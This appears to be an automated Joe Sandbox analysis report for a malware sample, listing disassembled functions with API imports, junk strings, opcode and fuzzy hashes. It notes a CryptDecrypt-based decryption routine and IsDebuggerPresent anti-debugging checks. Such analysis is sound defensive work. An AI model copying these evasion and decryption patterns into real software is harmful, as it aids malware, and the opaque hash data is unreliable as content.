rB, xrefs: 04B450DE
rB, xrefs: 04B44DB5
DFEK, xrefs: 04B45143

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID: DFEK$FOKD$]DFE$rB$rB$rB$rB$rB
API String ID: 0-735762442
Opcode ID: b634da6b4ff11c5db356e861f82a2c18836c59c7cb790a52b1b2f21f6beabc7d
Instruction ID: f9dcea7f7b74f7a7a3300ace79cc6978366e73db8824ea66bee9f315b22b43fa
Opcode Fuzzy Hash: b634da6b4ff11c5db356e861f82a2c18836c59c7cb790a52b1b2f21f6beabc7d
Instruction Fuzzy Hash: EAE2C2B0D002589BEB24EF68CC54BEDBB74EF91308F1041D8D5496B281DB757A88EFA5

Function 04B43727 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042A018), ref: 04B437A7
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B437CB
_mbstowcs.LIBCMT ref: 04B4381E
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B43835
GetLastError.KERNEL32 ref: 04B4383F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B43867
GetLastError.KERNEL32 ref: 04B43871
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B43881
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B43943
CryptDestroyKey.ADVAPI32(?), ref: 04B439B5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B43783

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3642901890-63410773
Opcode ID: e8a2417c6fd1f5a0234f20e664ae74c119de5196ead524865740bbc4210dc3f9
Instruction ID: 4fe274e54d431eebfbc365bd5b69b411441be6651f31eb9a9068311ca2197b44
Opcode Fuzzy Hash: e8a2417c6fd1f5a0234f20e664ae74c119de5196ead524865740bbc4210dc3f9
Instruction Fuzzy Hash: F6818471B00218AFEF209F24CC45B9ABBB5FF89300F0481E5E94DE7290DB319A849F55

Function 009852F9 Relevance: 10.3, Strings: 7, Instructions: 1578COMMON

Download Yara Rule

Strings

g4O, xrefs: 00985E12
8<n, xrefs: 009862C8
~7~_, xrefs: 009854D7
kv, xrefs: 00985D5E
Z%v, xrefs: 00985D32
lqs>, xrefs: 00985F11
.C, xrefs: 009854AA

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: 8<n$Z%v$g4O$lqs>$~7~_$.C$kv
API String ID: 0-1601858490
Opcode ID: 4f60de319900b7243a91629348964225b8e954e4c4d0eb317a3c7cb7a71d353a
Instruction ID: b1645dc57e4d3e4262f143c7a64ddcac4c0c8d1bdb029941806f5f608121dfee
Opcode Fuzzy Hash: 4f60de319900b7243a91629348964225b8e954e4c4d0eb317a3c7cb7a71d353a
Instruction Fuzzy Hash: 6CA2F7F3A0C2149FE3046E2DEC8577ABBE9EF94320F1A493DEAC4C7744E53598058696

Function 004188AA Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1451COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00418A25

Strings

1#INF, xrefs: 00419BE0
1#IND, xrefs: 00419BB5
1#SNAN, xrefs: 00419BBC
1#QNAN, xrefs: 00419BC3

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 14c724df0906a7543d709f4d96d1b8b7f4ee31c8485c5baae612bd997d7771c3
Instruction ID: d7ffb76180c9728a397d1ccf0e686cee7d0516322be8d88619d78ced8c4d9a03
Opcode Fuzzy Hash: 14c724df0906a7543d709f4d96d1b8b7f4ee31c8485c5baae612bd997d7771c3
Instruction Fuzzy Hash: F1C22A72E042288FDB25CE28DD507EAB3B5EB49314F1441ABD84DE7280E779AEC58F45

Function 009802F4 Relevance: 6.7, Strings: 4, Instructions: 1651COMMON

Download Yara Rule

Strings

|7Vk, xrefs: 009807BD
h]\n, xrefs: 0098044B
*F?J, xrefs: 009811CB
*F?J, xrefs: 009811D0

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: *F?J$*F?J$h]\n$|7Vk
API String ID: 0-4188360615
Opcode ID: f8cb43ccd476b6544b05929153de1e98b28f95fc28d8bff16a0455d1b8ff421e
Instruction ID: 96bf8c9226e291abf00c1b65f4656b3ecd9317e37720bf4732e0bcff85f586db
Opcode Fuzzy Hash: f8cb43ccd476b6544b05929153de1e98b28f95fc28d8bff16a0455d1b8ff421e
Instruction Fuzzy Hash: B2B21AF360C2009FE304AE2DEC8567AB7E6EFD4720F1A893DE6C5C7744E93598058696

Function 0098A3DE Relevance: 6.6, Strings: 4, Instructions: 1603COMMON

Download Yara Rule

Strings

q/}, xrefs: 0098A496
Bg>, xrefs: 0098A6BB
', xrefs: 0098B200
vZq, xrefs: 0098AFC3

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: '$q/}$vZq$Bg>
API String ID: 0-2143849517
Opcode ID: a8340729bfd2f127b7bdf0ff4709fab583ba743675d19311650b4fea9d44f0fa
Instruction ID: 91bb78711750cd309f89f876a24718adf96e60b2365d88a155d56ed556f6e6b4
Opcode Fuzzy Hash: a8340729bfd2f127b7bdf0ff4709fab583ba743675d19311650b4fea9d44f0fa
Instruction Fuzzy Hash: B4B206F3A0C2109FE714AE29DC8567AF7E5EF94720F1A493DEAC4C3744E63598008697

Function 04B49A19 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 04B49A25
IsDebuggerPresent.KERNEL32 ref: 04B49AF1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B49B11
UnhandledExceptionFilter.KERNEL32(?), ref: 04B49B1B

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction ID: 3f826736889305ecb234e0bb4f6114a69f31afa50bf0e8fcc6e92b3813a43dd4
Opcode Fuzzy Hash: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction Fuzzy Hash: AC311AB5D4121C9BDB20DFA4D989BCDBBB8BF48304F1040EAE409A7250EB715A85DF04

Function 10002FDA Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 10002FE6
IsDebuggerPresent.KERNEL32 ref: 100030B2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 100030D2
UnhandledExceptionFilter.KERNEL32(?), ref: 100030DC

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fd06b871e9cf82683454e3fbfac267bd1ef2951c7b429272aa340f07bdb4f9c2
Instruction ID: 336d1356b37294b5c1fe5cc3e7a5e53ac0bdfc53d52c9a9f50db52ddd632742b
Opcode Fuzzy Hash: fd06b871e9cf82683454e3fbfac267bd1ef2951c7b429272aa340f07bdb4f9c2
Instruction Fuzzy Hash: B6312B75D45269DBEB21DF64C989BCDBBF8EF08340F1081AAE40DA7250EB719A85CF04

Function 004097B2 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004097BE
IsDebuggerPresent.KERNEL32 ref: 0040988A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004098AA
UnhandledExceptionFilter.KERNEL32(?), ref: 004098B4

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction ID: c565fb8366faf90fb764b1371249259a4a166a2e914fc73a985bf40890c2a5d7
Opcode Fuzzy Hash: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction Fuzzy Hash: AB312BB5D1131CDBDB10EF65D9897CDBBB8BF18304F1040AAE409A7290EB755A85CF49

Function 04CE2070 Relevance: 5.5, Strings: 4, Instructions: 504COMMON

Download Yara Rule

Strings

`,@, xrefs: 04CE2260
0,@, xrefs: 04CE2252
@,@, xrefs: 04CE2259
@, xrefs: 04CE208F

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: 0,@$@$@,@$`,@
API String ID: 0-1654315312
Opcode ID: 5b4dbf54bdba94f60b787558392db44d93cafa9daf967c2ab35a05ecdb66b168
Instruction ID: d0229a7677e4139180f17e2684249ffde0658b308fba598201ba1c91857123c9
Opcode Fuzzy Hash: 5b4dbf54bdba94f60b787558392db44d93cafa9daf967c2ab35a05ecdb66b168
Instruction Fuzzy Hash: D2128C71B012099FDB14CF9AD980BBDB7BAFF48314F1441A9E909AB281DB74F941CB90

Function 00856F45 Relevance: 5.2, Strings: 4, Instructions: 173COMMON

Download Yara Rule

Strings

;~, xrefs: 008570A4
:N, xrefs: 00857021
=61y, xrefs: 00856F97
,:<:, xrefs: 0085703B

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: ,:<:$=61y$:N$;~
API String ID: 0-1961751417
Opcode ID: 264cbdb9aa185668be83a99fc867fba0c253893d1843867acbf0566d4fa194fd
Instruction ID: a526b51624e70bfda878e5c78268556d7486c0c03e7eb59864a4e908a8007063
Opcode Fuzzy Hash: 264cbdb9aa185668be83a99fc867fba0c253893d1843867acbf0566d4fa194fd
Instruction Fuzzy Hash: 564149F7A0C1005BF30C9A3DDC6577AB7D5EBD4320F1A863DFA8AC3B84E86A89054195

Function 00988C60 Relevance: 5.1, Strings: 3, Instructions: 1363COMMON

Download Yara Rule

Strings

"AGo, xrefs: 009896DF
K_, xrefs: 00989606
"AGo, xrefs: 009896AA

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: "AGo$"AGo$K_
API String ID: 0-3833813495
Opcode ID: 0ed953b9b7391539ced97191ed02e4070a175017db4580fc558cf0b1d4fde580
Instruction ID: dd6efce2a2f297b330320d6fada79172dc652d417a842c20feca8b8bf93de0ae
Opcode Fuzzy Hash: 0ed953b9b7391539ced97191ed02e4070a175017db4580fc558cf0b1d4fde580
Instruction Fuzzy Hash: C59208F3608200AFE704AE2DEC8567AB7E9EFD4720F1A853DE6C5C7744E93598018796

Function 04B4C31A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 04B4C412
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 04B4C41C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 04B4C429

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 131c0d4e7d26b594cba5fcb71e5b1937b03cc24f2ec617643b077344ff1b42c4
Instruction ID: 46b9c7b27c31c4f677a546c9b3137b8e337d51f6eae02f45cfbb35a4547c6502
Opcode Fuzzy Hash: 131c0d4e7d26b594cba5fcb71e5b1937b03cc24f2ec617643b077344ff1b42c4
Instruction Fuzzy Hash: 5831C7B490122CABCB61DF28DD887DDBBB4BF48710F5041EAE41CA7250E770AB859F49

Function 100056A0 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 10005798
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 100057A2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 100057AF

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ce89a4acebe00847e0bf7db2b2a5c1550e22667e6ae7b5dc377587a900902601
Instruction ID: 5682311db8f2ea5b7fb0b10b77ab1de1cec722dcfd082a676ba882e0b3775376
Opcode Fuzzy Hash: ce89a4acebe00847e0bf7db2b2a5c1550e22667e6ae7b5dc377587a900902601
Instruction Fuzzy Hash: 4B31D3749012299BDB62DF24DD89B8DBBB8EF08750F5081EAE41CA7250EB709F858F44

Function 0040C0B3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0040C1AB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040C1B5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0040C1C2

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b149471185ea7cab19788dd3e2c66aa1f526c3a9366d234e05bd43495572b69a
Instruction ID: dd4c83c30a1d2e7c36c102c60c461113305a32f1f02fbca7a201bc05c8f10de1
Opcode Fuzzy Hash: b149471185ea7cab19788dd3e2c66aa1f526c3a9366d234e05bd43495572b69a
Instruction Fuzzy Hash: 3031E774901228EBCB21DF65D8897CDBBB4BF18310F5041EAE40CA7291E7349F858F49

Function 04B4F174 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,04B4F173,00000000,0041D0A0,?,00000000,?,04B51714), ref: 04B4F196
TerminateProcess.KERNEL32(00000000,?,04B4F173,00000000,0041D0A0,?,00000000,?,04B51714), ref: 04B4F19D
ExitProcess.KERNEL32 ref: 04B4F1AF

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction ID: 5a0b6906482cab578f04eaf4a73385882b6fb4f46445c91b1b3a9aa926e356b2
Opcode Fuzzy Hash: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction Fuzzy Hash: 0FE0B671844118AFDB117F54DD48A993B69FF90685F004464F80587231CB76E991DB94

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 00882FD7 Relevance: 4.0, Strings: 3, Instructions: 240COMMON

Download Yara Rule

Strings

-o}, xrefs: 00883080
qWv{, xrefs: 0088304D
Y5mZ, xrefs: 008830AD

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: -o}$Y5mZ$qWv{
API String ID: 0-2164058010
Opcode ID: 80046ece4595babee44f98680390b85e29ae3d413c71f54f7d42ae13ad79b30d
Instruction ID: 2422aa052157307881ae451ba190d432ef571a874bbb8fb325d09c33c330d534
Opcode Fuzzy Hash: 80046ece4595babee44f98680390b85e29ae3d413c71f54f7d42ae13ad79b30d
Instruction Fuzzy Hash: EF6158F3E085144BE3046D2DEC15736BACAEB94760F2B863D9A88D7788F979490542C1

Function 04B4092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 04B4095F
l, xrefs: 04B40966
GetProcAddress., xrefs: 04B409DC, 04B409DF, 04B409E4

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: d5037ae184a1353f3a29f5d41dbbdc7d36793d66b344cbbfc880b87a4d66a8bb
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: FB316CB6910609DFEB10DF99C880AAEBBF5FF48324F14408AD941A7310D771FA45DBA4

Function 04CEE720 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction ID: 02789542c2a9dd6b1b9024e0eb83ec463df33c94b6ca43b61aaec5cd597af798
Opcode Fuzzy Hash: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction Fuzzy Hash: 31F14E71E002199FDF14CFA9D8806AEBBF2FF88354F15866DD919AB344D731AA01CB94

Function 04B4F587 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction ID: e80ba316238a52440995120652ccb2ba54186a16ce09c0288fdc6cfb70fcf59f
Opcode Fuzzy Hash: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction Fuzzy Hash: A0F13071E00219DFDF14CFA9D9806ADF7B1FF88324F2582A9D919AB344D731A941DB90

Function 0040F320 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction ID: b8b31c7c7d4b51565c9f0be571567412a69d2e0e61470088d295795398052e15
Opcode Fuzzy Hash: 49dfbd2288928feededa099d44ae440f86fb38599ad47adeb3a8dcc3b0116a46
Instruction Fuzzy Hash: BDF13D71E002199BDF24CFA8C9806AEB7B1FF88314F25827AD819B7785D735AD05CB94

Function 04CF7CAA Relevance: 3.0, APIs: 1, Instructions: 1451COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 04CF7E25

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 74712b48cc111f858d1a31e9ba76b8487e7a66425b713155efa2ae010c3ee8cc
Instruction ID: 3f6a67a305f66c5e7a4f14eedf4bc49c5343a177f11854dd6e9b10dc1c656e69
Opcode Fuzzy Hash: 74712b48cc111f858d1a31e9ba76b8487e7a66425b713155efa2ae010c3ee8cc
Instruction Fuzzy Hash: 1DC25B71E046288FDBA4DE29DD407E9B3B6EB48314F1441EADA0DE7240E778BE858F50

Function 00878462 Relevance: 2.7, Strings: 2, Instructions: 213COMMON

Download Yara Rule

Strings

1n{, xrefs: 00878583
~4U, xrefs: 00878631

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: 1n{$~4U
API String ID: 0-3046700990
Opcode ID: 6ef9d189c54171cd56bef012729b75a4df48cc12fe5b5f8f62421c68b0af4ed3
Instruction ID: e1ec9b4f2d05fd8c3f38537f787f8287a351176f93494ce82d0203a7bce2c2b8
Opcode Fuzzy Hash: 6ef9d189c54171cd56bef012729b75a4df48cc12fe5b5f8f62421c68b0af4ed3
Instruction Fuzzy Hash: 0E6129F3A082009BE3046A2DDC8476EF7E6EFD4320F1B063DDBC897784E97518058696

Function 0097BC09 Relevance: 2.1, Strings: 1, Instructions: 881COMMON

Download Yara Rule

Strings

%DA], xrefs: 0097C379

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: %DA]
API String ID: 0-1032058369
Opcode ID: 21ab1cbd0e970b1d4c176073d2ffdb79de96cc7428d9bd76ccf843f59286281f
Instruction ID: fe33902944b125135c1e4a22aba535699f3c72cc569366d5facae789c5913d44
Opcode Fuzzy Hash: 21ab1cbd0e970b1d4c176073d2ffdb79de96cc7428d9bd76ccf843f59286281f
Instruction Fuzzy Hash: 9F5207F39083049FD3046E2DEC8567AFBE9EF94720F19863DEAD483744EA3598058697

Function 00982861 Relevance: 2.0, Strings: 1, Instructions: 768COMMON

Download Yara Rule

Strings

W|, xrefs: 00982DB0

Memory Dump Source

Source File: 00000000.00000002.2702508722.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: W|
API String ID: 0-2370748732
Opcode ID: 32402da787cd13bcffe5004b6f1d1d865e86a8bdb20decc8b15f24b7c77c2938
Instruction ID: 0ea2a59dcf479404323d6c437a867a4b902b49c455c3710f48fd0896a175b169
Opcode Fuzzy Hash: 32402da787cd13bcffe5004b6f1d1d865e86a8bdb20decc8b15f24b7c77c2938
Instruction Fuzzy Hash: 4E3205F39082149FD304AE2DEC8577AFBE9EF94620F1A453DEAC4D7344E63558048796

Function 04B53F4D Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,04B53F48,?,?,00000008,?,?,04B5AB25,00000000), ref: 04B5417A

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0b37e6520335243949131a18a83a17cc8901bab5f37b3ea18fa95d5cf57de7c4
Instruction ID: 851bf4821145136d6815e672a2d621058b53c36e9e3f86bff6807aee8922e64a
Opcode Fuzzy Hash: 0b37e6520335243949131a18a83a17cc8901bab5f37b3ea18fa95d5cf57de7c4
Instruction Fuzzy Hash: 84B13F35610605DFDB15CF28C486B65BBE0FF45365F298698E899CF2B2C336E992CB40

Function 1000E184 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule
